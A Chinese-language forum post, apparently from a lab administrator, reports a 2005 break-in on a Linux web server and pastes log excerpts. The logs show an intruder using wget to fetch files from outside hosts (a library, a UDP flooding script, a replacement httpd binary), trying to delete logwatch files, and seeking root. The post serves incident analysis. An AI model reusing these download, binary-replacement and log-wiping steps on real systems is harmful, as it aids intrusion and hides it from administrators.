※ 引述《Donnie ( XD)》之銘言： : ※ 引述《Donnie ( XD)》之銘言： : : 我早上到學校，想看是什麼 process 在搞鬼..... : : 可是被 fish 重開機了 XD : 確定我們的電腦遭受攻擊! 第一次攻擊: Mar 24 05:40:08 已經成功入侵 下載 http://members.lycos.co.uk/cutegirlrulez/modlib --05:40:08-- http://members.lycos.co.uk/cutegirlrulez/modlib => `modlib' Resolving members.lycos.co.uk... 212.78.204.20 Connecting to members.lycos.co.uk[212.78.204.20]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 36,037 [text/plain] 0K .......... .......... .......... ..... 100% 28.0K 接著想要刪除 logwatch rm: cannot remove `logwatch.XX4h0y7I': Operation not permitted rm: cannot remove `logwatch.XXZPy8si': Operation not permitted rm: cannot remove `logwatch.XXyBBEhX': Operation not permitted sh: line 1: cd: /tmp/...: No such file or directory sh: line 1: ./udp.pl: No such file or directory udp.pl: no process killed udp.pl: no process killed cat: sun.pl: No such file or directory ls: /tmp/hat: No such file or directory ls: /tmp/ps: No such file or directory cat: ps.pid: No such file or directory sh: line 1: ./root: No such file or directory --08:22:40-- http://www.packetstormsecurity.nl/DoS/udp.pl => `udp.pl' Resolving www.packetstormsecurity.nl... 213.206.75.252 Connecting to www.packetstormsecurity.nl[213.206.75.252]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1,089 [text/plain] 0K . 100% 08:22:41 (10.39 MB/s) - `udp.pl' saved [1089/1089] udp.pl: no process killed [Sun Mar 27 14:57:31 2005] [warn] child process 31070 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 32450 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 300 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 2596 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 476 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 19310 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18911 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18912 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 12729 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 31206 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18913 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 31070 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 32450 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 300 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 2596 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 476 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 19310 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18911 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18912 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 12729 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 31206 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 12729 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 31206 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18913 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 31070 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 32450 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 300 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 2596 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 476 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 19310 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 18911 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 18912 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 12729 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 31206 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 18913 still did not exit, sending a SIGTERM [Sun Mar 27 15:02:32 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/apache2-suexec) 要取得 root 權限了!! [Sun Mar 27 14:57:31 2005] [warn] child process 12729 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 31206 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:31 2005] [warn] child process 18913 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 31070 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 32450 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 300 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 2596 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 476 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 19310 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 18911 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 18912 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 12729 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 31206 still did not exit, sending a SIGTERM [Sun Mar 27 14:57:33 2005] [warn] child process 18913 still did not exit, sending a SIGTERM [Sun Mar 27 15:02:32 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/apache2-suexec) [Sun Mar 27 15:02:32 2005] [notice] Digest: generating secret for digest authentication ... [Sun Mar 27 15:02:32 2005] [notice] Digest: done [Sun Mar 27 15:02:33 2005] [notice] Apache-AdvancedExtranetServer/2.0.48 (Mandrake Linux/6mdk) mod_perl/1.99_11 Perl/v5.8.3 mod_ssl/2.0.48 OpenSSL/0.9.7c PHP/4.3.4 configured -- resuming normal operations [Sun Mar 27 15:06:32 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/apache2-suexec) [Sun Mar 27 15:06:32 2005] [notice] Digest: generating secret for digest authentication ... [Sun Mar 27 15:06:32 2005] [notice] Digest: done 換掉 apache! --01:09:42-- http://luksuss.republika.pl/httpd => `httpd' Resolving luksuss.republika.pl... 213.180.128.160 Connecting to luksuss.republika.pl[213.180.128.160]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 36,040 [text/plain] 0K .......... .......... .......... ..... 100% 16.1K 01:09:46 (16.13 KB/s) - `httpd' saved [36040/36040] 我要查查是什麼漏洞 還好我們有FW，不然可能更慘! --

※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 140.112.48.60